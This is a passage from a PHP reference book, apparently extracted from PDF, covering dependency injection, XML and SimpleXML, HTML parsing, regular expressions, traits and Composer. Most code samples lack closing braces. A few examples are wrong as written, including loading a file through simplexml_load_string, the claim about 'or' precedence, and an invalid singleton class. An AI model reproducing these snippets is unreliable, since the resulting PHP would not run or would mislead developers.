Logger if doing so became necessary. For example, we might use a Logger implementation that logs to
a different

location, or that uses a different logging format, or that logs to the database instead of to a file.

Section 35.2: Setter Injection

Dependencies can also be injected by setters.

interface Logger {
public function log($message);

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class Component {

private $logger;

private $databaseConnection;

public function __construct(DatabaseConnection $databaseConnection) {

$this->databaseConnection = $databaseConnection;

public function setLogger(Logger $logger) {

$this->logger = $logger;

public function core() {

$this->logSave();

return $this->databaseConnection->save($this);

public function logSave() {

if ($this->logger) {

$this->logger->log('saving');

This is especially interesting when the core functionality of the class does not rely on the dependency
to work.

Here, the only needed dependency is the DatabaseConnection so it's in the constructor. The Logger
dependency is
optional and thus does not need to be part of the constructor, making the class easier to use.

Note that when using setter injection, it's better to extend the functionality rather than replacing it.
When setting a

dependency, there's nothing confirming that the dependency won't change at some point, which
could lead in

unexpected results. For example, a FileLogger could be set at first, and then a MailLogger could be set.
This

breaks encapsulation and makes logs hard to find, because we're replacing the dependency.

To prevent this, we should add a dependency with setter injection, like so:

interface Logger {

public function log($message);

class Component {

private $loggers = array();

private $databaseConnection;

public function __construct(DatabaseConnection $databaseConnection) {

$this->databaseConnection = $databaseConnection;

public function addLogger(Logger $logger) {

$this->loggers[] = $logger;

public function core() {

$this->logSave();

return $this->databaseConnection->save($this);

public function logSave() {

foreach ($this->loggers as $logger) {

$logger->log('saving');

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Like this, whenever we'll use the core functionality, it won't break even if there is no logger
dependency added, and

any logger added will be used even though another logger could've been added. We're extending
functionality

instead of replacing it.

Section 35.3: Container Injection

Dependency Injection (DI) in the context of using a Dependency Injection Container (DIC) can be seen
as a superset

of constructor injection. A DIC will typically analyze a class constructor's typehints and resolve its
needs, effectively

injecting the dependencies needed for the instance execution.

The exact implementation goes well beyond the scope of this document but at its very heart, a DIC
relies on using

the signature of a class...

namespace Documentation;

class Example

private $meaning;

public function __construct(Meaning $meaning)

$this->meaning = $meaning;

}
}

... to automatically instantiate it, relying most of the time on an autoloading system.

// older PHP versions

$container->make('Documentation\Example');

// since PHP 5.5

$container->make(\Documentation\Example::class);

If you are using PHP in version at least 5.5 and want to get a name of a class in a way that's being
shown above, the

correct way is the second approach. That way you can quickly find usages of the class using modern
IDEs, which will

greatly help you with potential refactoring. You do not want to rely on regular strings.

In this case, the Documentation\Example knows it needs a Meaning, and a DIC would in turn
instantiate a Meaning

type. The concrete implementation need not depend on the consuming instance.

Instead, we set rules in the container, prior to object creation, that instructs how specific types should
be

instantiated if need be.

This has a number of advantages, as a DIC can

Share common instances

Provide a factory to resolve a type signature

Resolve an interface signature

If we define rules about how specific type needs to be managed we can achieve fine control over
which types are

shared, instantiated, or created from a factory.

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Chapter 36: XML

Section 36.1: Create a XML using DomDocument

To create a XML using DOMDocument,basically, we need to create all the tags and attributes using the

createElement() and createAttribute() methods and them create the XML structure with the
appendChild().

The example below includes tags, attributes, a CDATA section and a different namespace for the
second tag:

$dom = new DOMDocument('1.0', 'utf-8');

$dom->preserveWhiteSpace = false;

$dom->formatOutput = true;

//create the main tags, without values

$books = $dom->createElement('books');

$book_1 = $dom->createElement('book');

// create some tags with values

$name_1 = $dom->createElement('name', 'PHP - An Introduction');

$price_1 = $dom->createElement('price', '$5.95');

$id_1 = $dom->createElement('id', '1');

//create and append an attribute

$attr_1 = $dom->createAttribute('version');

$attr_1->value = '1.0';

//append the attribute

$id_1->appendChild($attr_1);

//create the second tag book with different namespace

$namespace = 'www.example.com/libraryns/1.0';

//include the namespace prefix in the books tag

$books->setAttributeNS('http://www.w3.org/2000/xmlns/', 'xmlns:ns', $namespace);

$book_2 = $dom->createElementNS($namespace,'ns:book');

$name_2 = $dom->createElementNS($namespace, 'ns:name');

//create a CDATA section (that is another DOMNode instance) and put it inside the name tag

$name_cdata = $dom->createCDATASection('PHP - Advanced');

$name_2->appendChild($name_cdata);

$price_2 = $dom->createElementNS($namespace, 'ns:price', '$25.00');

$id_2 = $dom->createElementNS($namespace, 'ns:id', '2');

//create the XML structure

$books->appendChild($book_1);

$book_1->appendChild($name_1);

$book_1->appendChild($price_1);

$book_1->appendChild($id_1);

$books->appendChild($book_2);

$book_2->appendChild($name_2);

$book_2->appendChild($price_2);

$book_2->appendChild($id_2);

$dom->appendChild($books);

//saveXML() method returns the XML in a String

print_r ($dom->saveXML());

This will output the following XML:

GoalKicker.com – PHP Notes for Professionals 206

<?xml version="1.0" encoding="utf-8"?>

<books xmlns:ns="www.example.com/libraryns/1.0">

<book>

<name>PHP - An Introduction</name>

<price>$5.95</price>

<id version="1.0">1</id>
</book>

<ns:book>

<ns:name><![CDATA[PHP - Advanced]]></ns:name>

<ns:price>$25.00</ns:price>

<ns:id>2</ns:id>

</ns:book>

</books>

Section 36.2: Read a XML document with DOMDocument

Similarly to the SimpleXML, you can use DOMDocument to parse XML from a string or from a XML file

1. From a string

$doc = new DOMDocument();

$doc->loadXML($string);

2. From a file

$doc = new DOMDocument();

$doc->load('books.xml');// use the actual file path. Absolute or relative

Example of parsing

Considering the following XML:

<?xml version="1.0" encoding="UTF-8"?>

<books>

<book>

<name>PHP - An Introduction</name>

<price>$5.95</price>

<id>1</id>

</book>

<book>
<name>PHP - Advanced</name>

<price>$25.00</price>

<id>2</id>

</book>

</books>

This is a example code to parse it

$books = $doc->getElementsByTagName('book');

foreach ($books as $book) {

$title = $book->getElementsByTagName('name')->item(0)->nodeValue;

$price = $book->getElementsByTagName('price')->item(0)->nodeValue;

$id = $book->getElementsByTagName('id')->item(0)->nodeValue;

print_r ("The title of the book $id is $title and it costs $price." . "\n");

This will output:

GoalKicker.com – PHP Notes for Professionals 207

The title of the book 1 is PHP - An Introduction and it costs $5.95.

The title of the book 2 is PHP - Advanced and it costs $25.00.

Section 36.3: Leveraging XML with PHP's SimpleXML Library

SimpleXML is a powerful library which converts XML strings to an easy to use PHP object.

The following assumes an XML structure as below.

<?xml version="1.0" encoding="UTF-8"?>

<document>

<book>

<bookName>StackOverflow SimpleXML Example</bookName>

<bookAuthor>PHP Programmer</bookAuthor>
</book>

<book>

<bookName>Another SimpleXML Example</bookName>

<bookAuthor>Stack Overflow Community</bookAuthor>

<bookAuthor>PHP Programmer</bookAuthor>

<bookAuthor>FooBar</bookAuthor>

</book>

</document>

Read our data in to SimpleXML

To get started, we need to read our data into SimpleXML. We can do this in 3 different ways. Firstly, we
can load our

data from a DOM node.

$xmlElement = simplexml_import_dom($domNode);

Our next option is to load our data from an XML file.

$xmlElement = simplexml_load_file($filename);

Lastly, we can load our data from a variable.

$xmlString = '<?xml version="1.0" encoding="UTF-8"?>

<document>

<book>

<bookName>StackOverflow SimpleXML Example</bookName>

<bookAuthor>PHP Programmer</bookAuthor>

</book>

<book>

<bookName>Another SimpleXML Example</bookName>

<bookAuthor>Stack Overflow Community</bookAuthor>

<bookAuthor>PHP Programmer</bookAuthor>
<bookAuthor>FooBar</bookAuthor>

</book>

</document>';

$xmlElement = simplexml_load_string($xmlString);

Whether you've picked to load from a DOM Element, from a file or from a string, you are now left with
a

SimpleXMLElement variable called $xmlElement. Now, we can start to make use of our XML in PHP.

Accessing our SimpleXML Data

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The simplest way to access data in our SimpleXMLElement object is to call the properties directly. If
we want to

access our first bookName, StackOverflow SimpleXML Example, then we can access it as per below.

echo $xmlElement->book->bookName;

At this point, SimpleXML will assume that because we have not told it explicitly which book we want,
that we want

the first one. However, if we decide that we do not want the first one, rather that we want Another
SimpleXML

Example, then we can access it as per below.

echo $xmlElement->book[1]->bookName;

It is worth noting that using [0] works the same as not using it, so

$xmlElement->book

works the same as

$xmlElement->book[0]

Looping through our XML

There are many reasons you may wish to loop through XML, such as that you have a number of items,
books in our

case, that we would like to display on a webpage. For this, we can use a foreach loop or a standard for
loop, taking
advantage of SimpleXMLElement's count function..

foreach ( $xmlElement->book as $thisBook ) {

echo $thisBook->bookName

or

$count = $xmlElement->count();

for ( $i=0; $i<$count; $i++ ) {

echo $xmlElement->book[$i]->bookName;

Handling Errors

Now we have come so far, it is important to realise that we are only humans, and will likely encounter
an error

eventually - especially if we are playing with different XML files all the time. And so, we will want to
handle those

errors.

Consider we created an XML file. You will notice that while this XML is much alike what we had earlier,
the problem

with this XML file is that the final closing tag is /doc instead of /document.

<?xml version="1.0" encoding="UTF-8"?>

<document>

<book>

<bookName>StackOverflow SimpleXML Example</bookName>

<bookAuthor>PHP Programmer</bookAuthor>

</book>

<book>

<bookName>Another SimpleXML Example</bookName>

<bookAuthor>Stack Overflow Community</bookAuthor>

<bookAuthor>PHP Programmer</bookAuthor>

<bookAuthor>FooBar</bookAuthor>

GoalKicker.com – PHP Notes for Professionals 209

</book>

</doc>

Now, say, we load this into our PHP as $file.

libxml_use_internal_errors(true);

$xmlElement = simplexml_load_file($file);

if ( $xmlElement === false ) {

$errors = libxml_get_errors();

foreach ( $errors as $thisError ) {

switch ( $thisError->level ) {

case LIBXML_ERR_FATAL:

echo "FATAL ERROR: ";

break;

case LIBXML_ERR_ERROR:

echo "Non Fatal Error: ";

break;

case LIBXML_ERR_WARNING:

echo "Warning: ";

break;

echo $thisError->code . PHP_EOL .

'Message: ' . $thisError->message . PHP_EOL .

'Line: ' . $thisError->line . PHP_EOL .

'Column: ' . $thisError->column . PHP_EOL .

'File: ' . $thisError->file;

libxml_clear_errors();

} else {

echo 'Happy Days';

We will be greeted with the following

FATAL ERROR: 76

Message: Opening and ending tag mismatch: document line 2 and doc

Line: 13

Column: 10

File: filepath/filename.xml

However as soon as we fix this problem, we are presented with "Happy Days".

Section 36.4: Create an XML file using XMLWriter

Instantiate a XMLWriter object:

$xml = new XMLWriter();

Next open the file to which you want to write. For example, to write to
/var/www/example.com/xml/output.xml,

use:

$xml->openUri('file:///var/www/example.com/xml/output.xml');

To start the document (create the XML open tag):

$xml->startDocument('1.0', 'utf-8');

GoalKicker.com – PHP Notes for Professionals 210

This will output:

<?xml version="1.0" encoding="UTF-8"?>

Now you can start writing elements:

$xml->writeElement('foo', 'bar');

This will generate the XML:

<foo>bar</foo>

If you need something a little more complex than simply nodes with plain values, you can also "start"
an element

and add attributes to it before closing it:

$xml->startElement('foo');

$xml->writeAttribute('bar', 'baz');

$xml->writeCdata('Lorem ipsum');

$xml->endElement();

This will output:

<foo bar="baz"><![CDATA[Lorem ipsum]]></foo>

Section 36.5: Read a XML document with SimpleXML

You can parse XML from a string or from a XML file

1. From a string

$xml_obj = simplexml_load_string($string);

2. From a file

$xml_obj = simplexml_load_file('books.xml');

Example of parsing

Considering the following XML:

<?xml version="1.0" encoding="UTF-8"?>

<books>

<book>

<name>PHP - An Introduction</name>

<price>$5.95</price>
<id>1</id>

</book>

<book>

<name>PHP - Advanced</name>

<price>$25.00</price>

<id>2</id>

</book>

</books>

This is a example code to parse it

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$xml = simplexml_load_string($xml_string);

$books = $xml->book;

foreach ($books as $book) {

$id = $book->id;

$title = $book->name;

$price = $book->price;

print_r ("The title of the book $id is $title and it costs $price." . "\n");

This will output:

The title of the book 1 is PHP - An Introduction and it costs $5.95.

The title of the book 2 is PHP - Advanced and it costs $25.00.

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Chapter 37: SimpleXML

Section 37.1: Loading XML data into simplexml

Loading from string

Use simplexml_load_string to create a SimpleXMLElement from a string:

$xmlString = "<?xml version='1.0' encoding='UTF-8'?>";

$xml = simplexml_load_string($xmlString) or die("Error: Cannot create object");

Note that or not || must be used here because the precedence of or is higher than =. The code after or
will only be

executed if $xml finally resolves to false.

Loading from file

Use simplexml_load_file to load XML data from a file or a URL:

$xml = simplexml_load_string("filePath.xml");

$xml = simplexml_load_string("https://example.com/doc.xml");

The URL can be of any schemes that PHP supports, or custom stream wrappers.

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Chapter 38: Parsing HTML

Section 38.1: Parsing HTML from a string

PHP implements a DOM Level 2 compliant parser, allowing you to work with HTML using familiar
methods like

getElementById() or appendChild().

$html = '<html><body><span id="text">Hello, World!</span></body></html>';

$doc = new DOMDocument();

libxml_use_internal_errors(true);

$doc->loadHTML($html);

echo $doc->getElementById("text")->textContent;

Outputs:

Hello, World!

Note that PHP will emit warnings about any problems with the HTML, especially if you are importing a
document

fragment. To avoid these warnings, tell the DOM library (libxml) to handle its own errors by calling
libxml_use_internal_errors() before importing your HTML. You can then use libxml_get_errors() to
handle

errors if needed.

Section 38.2: Using XPath

$html = '<html><body><span class="text">Hello, World!</span></body></html>';

$doc = new DOMDocument();

$doc->loadHTML($html);

$xpath = new DOMXPath($doc);

$span = $xpath->query("//span[@class='text']")->item(0);

echo $span->textContent;

Outputs:

Hello, World!

Section 38.3: SimpleXML

Presentation

SimpleXML is a PHP library which provides an easy way to work with XML documents (especially
reading and

iterating through XML data).

The only restraint is that the XML document must be well-formed.

Parsing XML using procedural approach

// Load an XML string

$xmlstr = file_get_contents('library.xml');

GoalKicker.com – PHP Notes for Professionals 214

$library = simplexml_load_string($xmlstr);

// Load an XML file

$library = simplexml_load_file('library.xml');

// You can load a local file path or a valid URL (if allow_url_fopen is set to "On" in php.ini
Parsing XML using OOP approach

// $isPathToFile: it informs the constructor that the 1st argument represents the path to a file,

// rather than a string that contains 1the XML data itself.

// Load an XML string

$xmlstr = file_get_contents('library.xml');

$library = new SimpleXMLElement($xmlstr);

// Load an XML file

$library = new SimpleXMLElement('library.xml', NULL, true);

// $isPathToFile: it informs the constructor that the first argument represents the path to a file,

rather than a string that contains 1the XML data itself.

Accessing Children and Attributes

When SimpleXML parses an XML document, it converts all its XML elements, or nodes, to properties
of the

resulting SimpleXMLElement object

In addition, it converts XML attributes to an associative array that may be accessed from the property
to

which they belong.

When you know their names:

$library = new SimpleXMLElement('library.xml', NULL, true);

foreach ($library->book as $book){

echo $book['isbn'];

echo $book->title;

echo $book->author;

echo $book->publisher;

The major drawback of this approach is that it is necessary to know the names of every element and
attribute in the XML document.

When you don't know their names (or you don't want to know them):

foreach ($library->children() as $child){

echo $child->getName();

// Get attributes of this element

foreach ($child->attributes() as $attr){

echo ' ' . $attr->getName() . ': ' . $attr;

// Get children

foreach ($child->children() as $subchild){

echo ' ' . $subchild->getName() . ': ' . $subchild;

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Chapter 39: Regular Expressions

(regexp/PCRE)

Parameter Details

$pattern a string with a regular expression (PCRE pattern)

Section 39.1: Global RegExp match

A global RegExp match can be performed using preg_match_all. preg_match_all returns all matching
results in the

subject string (in contrast to preg_match, which only returns the first one).

The preg_match_all function returns the number of matches. Third parameter $matches will contain
matches in

format controlled by flags that can be given in fourth parameter.

If given an array, $matches will contain array in similar format you’d get with preg_match, except that
preg_match
stops at first match, where preg_match_all iterates over the string until the string is wholly consumed
and returns

result of each iteration in a multidimensional array, which format can be controlled by the flag in
fourth argument.

The fourth argument, $flags, controls structure of $matches array. Default mode is
PREG_PATTERN_ORDER and

possible flags are PREG_SET_ORDER and PREG_PATTERN_ORDER.

Following code demonstrates usage of preg_match_all:

$subject = "a1b c2d3e f4g";

$pattern = '/[a-z]([0-9])[a-z]/';

var_dump(preg_match_all($pattern, $subject, $matches, PREG_SET_ORDER)); // int(3)

var_dump($matches);

preg_match_all($pattern, $subject, $matches); // the flag is PREG_PATTERN_ORDER by default

var_dump($matches);

// And for reference, same regexp run through preg_match()

preg_match($pattern, $subject, $matches);

var_dump($matches);

The first var_dump from PREG_SET_ORDER gives this output:

array(3) {

[0]=>

array(2) {

[0]=>

string(3) "a1b"

[1]=>

string(1) "1"

[1]=>
array(2) {

[0]=>

string(3) "c2d"

[1]=>

string(1) "2"

[2]=>

array(2) {

[0]=>

string(3) "f4g"

[1]=>

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string(1) "4"

$matches has three nested arrays. Each array represents one match, which has the same format as the
return

result of preg_match.

The second var_dump (PREG_PATTERN_ORDER) gives this output:

array(2) {

[0]=>

array(3) {

[0]=>

string(3) "a1b"

[1]=>

string(3) "c2d"
[2]=>

string(3) "f4g"

[1]=>

array(3) {

[0]=>

string(1) "1"

[1]=>

string(1) "2"

[2]=>

string(1) "4"

When the same regexp is run through preg_match, following array is returned:

array(2) {

[0] =>

string(3) "a1b"

[1] =>

string(1) "1"

Section 39.2: String matching with regular expressions

preg_match checks whether a string matches the regular expression.

$string = 'This is a string which contains numbers: 12345';

$isMatched = preg_match('%^[a-zA-Z]+: [0-9]+$%', $string);

var_dump($isMatched); // bool(true)
If you pass in a third parameter, it will be populated with the matching data of the regular expression:

preg_match('%^([a-zA-Z]+): ([0-9]+)$%', 'This is a string which contains numbers: 12345',

$matches);

// $matches now contains results of the regular expression matches in an array.

echo json_encode($matches); // ["numbers: 12345", "numbers", "12345"]

$matches contains an array of the whole match then substrings in the regular expression bounded by
parentheses,

in the order of open parenthesis's offset. That means, if you have /z(a(b))/ as the regular expression,
index 0

contains the whole substring zab, index 1 contains the substring bounded by the outer parentheses ab
and index 2

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contains the inner parentheses b.

Section 39.3: Split string into array by a regular expression

$string = "0| PHP 1| CSS 2| HTML 3| AJAX 4| JSON";

//[0-9]: Any single character in the range 0 to 9

// + : One or more of 0 to 9

$array = preg_split("/[0-9]+\|/", $string, -1, PREG_SPLIT_NO_EMPTY);

//Or

// [] : Character class

// \d : Any digit

// + : One or more of Any digit

$array = preg_split("/[\d]+\|/", $string, -1, PREG_SPLIT_NO_EMPTY);

Output:

Array

[0] => PHP

[1] => CSS

[2] => HTML

[3] => AJAX

[4] => JSON

To split a string into a array simply pass the string and a regexp for preg_split(); to match and search,
adding a

third parameter (limit) allows you to set the number of "matches" to perform, the remaining string
will be added

to the end of the array.

The fourth parameter is (flags) here we use the PREG_SPLIT_NO_EMPTY which prevents our array
from containing

any empty keys / values.

Section 39.4: String replacing with regular expression

$string = "a;b;c\nd;e;f";

// $1, $2 and $3 represent the first, second and third capturing groups

echo preg_replace("(^([^;]+);([^;]+);([^;]+)$)m", "$3;$2;$1", $string);

Outputs

c;b;a

f;e;d

Searches for everything between semicolons and reverses the order.

Section 39.5: String replace with callback

preg_replace_callback works by sending every matched capturing group to the defined callback and
replaces it

with the return value of the callback. This allows us to replace strings based on any kind of logic.

$subject = "He said 123abc, I said 456efg, then she said 789hij";

$regex = "/\b(\d+)\w+/";
// This function replaces the matched entries conditionally

// depending upon the first character of the capturing group

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function regex_replace($matches){

switch($matches[1][0]){

case '7':

$replacement = "<b>{$matches[0]}</b>";

break;

default:

$replacement = "<i>{$matches[0]}</i>";

return $replacement;

$replaced_str = preg_replace_callback($regex, "regex_replace", $subject);

print_r($replaced_str);

# He said <i>123abc</i>, I said <i>456efg</i>, then she said <b>789hij</b>

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Chapter 40: Traits

Section 40.1: What is a Trait?

PHP only allows single inheritance. In other words, a class can only extend one other class. But what if
you need to

include something that doesn't belong in the parent class? Prior to PHP 5.4 you would have to get
creative, but in

5.4 Traits were introduced. Traits allow you to basically "copy and paste" a portion of a class into your
main class

trait Talk {

/** @var string */

public $phrase = 'Well Wilbur...';

public function speak() {

echo $this->phrase;

class MrEd extends Horse {

use Talk;

public function __construct() {

$this->speak();

public function setPhrase($phrase) {

$this->phrase = $phrase;

So here we have MrEd, which is already extending Horse. But not all horses Talk, so we have a Trait for
that. Let's

note what this is doing

First, we define our Trait. We can use it with autoloading and Namespaces (see also Referencing a class
or function

in a namespace). Then we include it into our MrEd class with the keyword use.

You'll note that MrEd takes to using the Talk functions and variables without defining them.
Remember what we

said about copy and paste? These functions and variables are all defined within the class now, as if this
class had

defined them.

Traits are most closely related to Abstract classes in that you can define variables and functions. You
also cannot
instantiate a Trait directly (i.e. new Trait()). Traits cannot force a class to implicitly define a function
like an

Abstract class or an Interface can. Traits are only for explicit definitions (since you can implement as
many

Interfaces as you want, see Interfaces).

When should I use a Trait?

The first thing you should do, when considering a Trait, is to ask yourself this important question

Can I avoid using a Trait by restructuring my code?

More often than not, the answer is going to be Yes. Traits are edge cases caused by single inheritance.
The

temptation to misuse or overuse Traits can be high. But consider that a Trait introduces another source
for your

code, which means there's another layer of complexity. In the example here, we're only dealing with 3
classes. But

Traits mean you can now be dealing with far more than that. For each Trait, your class becomes that
much harder

to deal with, since you must now go reference each Trait to find out what it defines (and potentially
where a

collision happened, see Conflict Resolution). Ideally, you should keep as few Traits in your code as
possible.

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Section 40.2: Traits to facilitate horizontal code reuse

Let's say we have an interface for logging:

interface Logger {

function log($message);

Now say we have two concrete implementations of the Logger interface: the FileLogger and the
ConsoleLogger.

class FileLogger implements Logger {

public function log($message) {

// Append log message to some file

class ConsoleLogger implements Logger {

public function log($message) {

// Log message to the console

Now if you define some other class Foo which you also want to be able to perform logging tasks, you
could do

something like this:

class Foo implements Logger {

private $logger;

public function setLogger(Logger $logger) {

$this->logger = $logger;

public function log($message) {

if ($this->logger) {

$this->logger->log($message);

Foo is now also a Logger, but its functionality depends on the Logger implementation passed to it via
setLogger().

If we now want class Bar to also have this logging mechanism, we would have to duplicate this piece
of logic in the
Bar class.

Instead of duplicating the code, a trait can be defined:

trait LoggableTrait {

protected $logger;

public function setLogger(Logger $logger) {

$this->logger = $logger;

public function log($message) {

if ($this->logger) {

$this->logger->log($message);

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Now that we have defined the logic in a trait, we can use the trait to add the logic to the Foo and Bar
classes:

class Foo {

use LoggableTrait;

class Bar {

use LoggableTrait;

And, for example, we can use the Foo class like this:

$foo = new Foo();

$foo->setLogger( new FileLogger() );

//note how we use the trait as a 'proxy' to call the Logger's log method on the Foo instance
$foo->log('my beautiful message');

Section 40.3: Conflict Resolution

Trying to use several traits into one class could result in issues involving conflicting methods. You need
to resolve

such conflicts manually.

For example, let's create this hierarchy:

trait MeowTrait {

public function say() {

print "Meow \n";

trait WoofTrait {

public function say() {

print "Woof \n";

abstract class UnMuteAnimals {

abstract function say();

class Dog extends UnMuteAnimals {

use WoofTrait;

class Cat extends UnMuteAnimals {

use MeowTrait;

Now, let's try to create the following class:

class TalkingParrot extends UnMuteAnimals {

use MeowTrait, WoofTrait;

The php interpreter will return a fatal error:

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Fatal error: Trait method say has not been applied, because there are collisions with other trait
methods

on TalkingParrot

To resolve this conflict, we could do this:

use keyword insteadof to use the method from one trait instead of method from another trait

create an alias for the method with a construct like WoofTrait::say as sayAsDog;

class TalkingParrotV2 extends UnMuteAnimals {

use MeowTrait, WoofTrait {

MeowTrait::say insteadof WoofTrait;

WoofTrait::say as sayAsDog;

$talkingParrot = new TalkingParrotV2();

$talkingParrot->say();

$talkingParrot->sayAsDog();

This code will produce the following output:

Meow

Woof

Section 40.4: Implementing a Singleton using Traits

Disclaimer: In no way does this example advocate the use of singletons. Singletons are to be used with
a lot of care.
In PHP there is quite a standard way of implementing a singleton:

public class Singleton {

private $instance;

private function __construct() { };

public function getInstance() {

if (!self::$instance) {

// new self() is 'basically' equivalent to new Singleton()

self::$instance = new self();

return self::$instance;

// Prevent cloning of the instance

protected function __clone() { }

// Prevent serialization of the instance

protected function __sleep() { }

// Prevent deserialization of the instance

protected function __wakeup() { }

To prevent code duplication, it is a good idea to extract this behaviour into a trait.

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trait SingletonTrait {

private $instance;

protected function __construct() { };

public function getInstance() {

if (!self::$instance) {
// new self() will refer to the class that uses the trait

self::$instance = new self();

return self::$instance;

protected function __clone() { }

protected function __sleep() { }

protected function __wakeup() { }

Now any class that wants to function as a singleton can simply use the trait:

class MyClass {

use SingletonTrait;

// Error! Constructor is not publicly accessible

$myClass = new MyClass();

$myClass = MyClass::getInstance();

// All calls below will fail due to method visibility

$myClassCopy = clone $myClass; // Error!

$serializedMyClass = serialize($myClass); // Error!

$myClass = deserialize($serializedMyclass); // Error!

Even though it is now impossible to serialize a singleton, it is still useful to also disallow the deserialize
method.

Section 40.5: Traits to keep classes clean

Over time, our classes may implement more and more interfaces. When these interfaces have many
methods, the

total number of methods in our class will become very large.

For example, let's suppose that we have two interfaces and a class implementing them:

interface Printable {

public function print();

//other interface methods...

interface Cacheable {

//interface methods

class Article implements Cachable, Printable {

//here we must implement all the interface methods

public function print(){ {

/* code to print the article */

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Instead of implementing all the interface methods inside the Article class, we could use separate Traits
to

implement these interfaces, keeping the class smaller and separating the code of the interface

implementation from the class.

From example, to implement the Printable interface we could create this trait:

trait PrintableArticle {

//implements here the interface methods

public function print() {

/* code to print the article */

}
and make the class use the trait:

class Article implements Cachable, Printable {

use PrintableArticle;

use CacheableArticle;

The primary benefits would be that our interface-implementation methods will be separated from the
rest of the

class, and stored in a trait who has the sole responsibility to implement the interface for that
particular type

of object.

Section 40.6: Multiple Traits Usage

trait Hello {

public function sayHello() {

echo 'Hello ';

trait World {

public function sayWorld() {

echo 'World';

class MyHelloWorld {

use Hello, World;

public function sayExclamationMark() {

echo '!';

}
}

$o = new MyHelloWorld();

$o->sayHello();

$o->sayWorld();

$o->sayExclamationMark();

The above example will output:

Hello World!

Section 40.7: Changing Method Visibility

trait HelloWorld {

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public function sayHello() {

echo 'Hello World!';

// Change visibility of sayHello

class MyClass1 {

use HelloWorld { sayHello as protected; }

// Alias method with changed visibility

// sayHello visibility not changed

class MyClass2 {

use HelloWorld { sayHello as private myPrivateHello; }

Running this example:

(new MyClass1())->sayHello();
// Fatal error: Uncaught Error: Call to protected method MyClass1::sayHello()

(new MyClass2())->myPrivateHello();

// Fatal error: Uncaught Error: Call to private method MyClass2::myPrivateHello()

(new MyClass2())->sayHello();

// Hello World!

So be aware that in the last example in MyClass2 the original un-aliased method from trait HelloWorld
stays

accessible as-is.

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Chapter 41: Composer Dependency

Manager

Parameter Details

license Defines the type of license you want to use in the Project.

authors Defines the authors of the project, as well as the author details.

support Defines the support emails, irc channel, and various links.

require Defines the actual dependencies as well as the package versions.

require-dev Defines the packages necessary for developing the project.

suggest Defines the package suggestions, i.e. packages which can help if installed.

autoload Defines the autoloading policies of the project.

autoload-dev Defines the autoloading policies for developing the project.

Composer is PHP's most commonly used dependency manager. It's analogous to npm in Node, pip for
Python, or

NuGet for .NET.

Section 41.1: What is Composer?

Composer is a dependency/package manager for PHP. It can be used to install, keep track of, and
update your

project dependencies. Composer also takes care of autoloading the dependencies that your
application relies on,

letting you easily use the dependency inside your project without worrying about including them at
the top of any

given file.

Dependencies for your project are listed within a composer.json file which is typically located in your
project root.

This file holds information about the required versions of packages for production and also
development.

A full outline of the composer.json schema can be found on the Composer Website.

This file can be edited manually using any text-editor or automatically through the command line via
commands

such as composer require <package> or composer require-dev <package>.

To start using composer in your project, you will need to create the composer.json file. You can either
create it

manually or simply run composer init. After you run composer init in your terminal, it will ask you for
some basic

information about your project: Package name (vendor/package - e.g. laravel/laravel), Description -
optional,

Author and some other information like Minimum Stability, License and Required Packages.

The require key in your composer.json file specifies Composer which packages your project depends
on. require

takes an object that maps package names (e.g. monolog/monolog) to version constraints (e.g. 1.0.*).

"require": {

"composer/composer": "1.2.*"

To install the defined dependencies, you will need to run the composer install command and it will
then find the
defined packages that matches the supplied version constraint and download it into the vendor
directory. It's a

convention to put third party code into a directory named vendor.

You will notice the install command also created a composer.lock file.

A composer.lock file is automatically generated by Composer. This file is used to track the currently
installed

GoalKicker.com – PHP Notes for Professionals 227

versions and state of your dependencies. Running composer install will install packages to exactly the
state

stored in the lock file.

Section 41.2: Autoloading with Composer

While composer provides a system to manage dependencies for PHP projects (e.g. from Packagist), it
can also

notably serve as an autoloader, specifying where to look for specific namespaces or include generic
function files.

It starts with the composer.json file:

// ...

"autoload": {

"psr-4": {

"MyVendorName\\MyProject": "src/"

},

"files": [

"src/functions.php"

},

"autoload-dev": {
"psr-4": {

"MyVendorName\\MyProject\\Tests": "tests/"

This configuration code ensures that all classes in the namespace MyVendorName\MyProject are
mapped to the src

directory and all classes in MyVendorName\MyProject\Tests to the tests directory (relative to your
root directory). It

will also automatically include the file functions.php.

After putting this in your composer.json file, run composer update in a terminal to have composer
update the

dependencies, the lock file and generate the autoload.php file. When deploying to a production
environment you

would use composer install --no-dev. The autoload.php file can be found in the vendor directory which
should

be generated in the directory where composer.json resides.

You should require this file early at a setup point in the lifecycle of your application using a line similar
to that

below.

require_once __DIR__ . '/vendor/autoload.php';

Once included, the autoload.php file takes care of loading all the dependencies that you provided in
your

composer.json file.

Some examples of the class path to directory mapping:

MyVendorName\MyProject\Shapes\Square ➔ src/Shapes/Square.php.

MyVendorName\MyProject\Tests\Shapes\Square ➔ tests/Shapes/Square.php.

Section 41.3: Dierence between 'composer install' and

'composer update'

composer update

composer update will update our dependencies as they are specified in composer.json.

GoalKicker.com – PHP Notes for Professionals 228

For example, if our project uses this configuration:

"require": {

"laravelcollective/html": "2.0.*"

Supposing we have actually installed the 2.0.1 version of the package, running composer update will
cause an

upgrade of this package (for example to 2.0.2, if it has already been released).

In detail composer update will:

Read composer.json

Remove installed packages that are no more required in composer.json

Check the availability of the latest versions of our required packages

Install the latest versions of our packages

Update composer.lock to store the installed packages version

composer install

composer install will install all of the dependencies as specified in the composer.lock file at the version
specified

(locked), without updating anything.

In detail:

Read composer.lock file

Install the packages specified in the composer.lock file

When to install and when to update

composer update is mostly used in the 'development' phase, to upgrade our project packages.
composer install is primarily used in the 'deploying phase' to install our application on a production
server

or on a testing environment, using the same dependencies stored in the composer.lock file created by

composer update.

Section 41.4: Composer Available Commands

Command Usage

about Short information about Composer

archive Create an archive of this composer package

browse Opens the package's repository URL or homepage in your browser.

clear-cache Clears composer's internal package cache.

clearcache Clears composer's internal package cache.

config Set config options

create-project Create new project from a package into given directory.

depends Shows which packages cause the given package to be installed

diagnose Diagnoses the system to identify common errors.

dump-autoload Dumps the autoloader

dumpautoload Dumps the autoloader

exec Execute a vendored binary/script

global Allows running commands in the global composer dir ($COMPOSER_HOME).

help Displays help for a command

home Opens the package's repository URL or homepage in your browser.

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info Show information about packages

init Creates a basic composer.json file in current directory.

install Installs the project dependencies from the composer.lock file if present, or falls back on the

composer.json.
licenses Show information about licenses of dependencies

list Lists commands

outdated Shows a list of installed packages that have updates available, including their latest version.

prohibits Shows which packages prevent the given package from being installed

remove Removes a package from the require or require-dev

require Adds required packages to your composer.json and installs them

run-script Run the scripts defined in composer.json.

search Search for packages

self-update Updates composer.phar to the latest version.

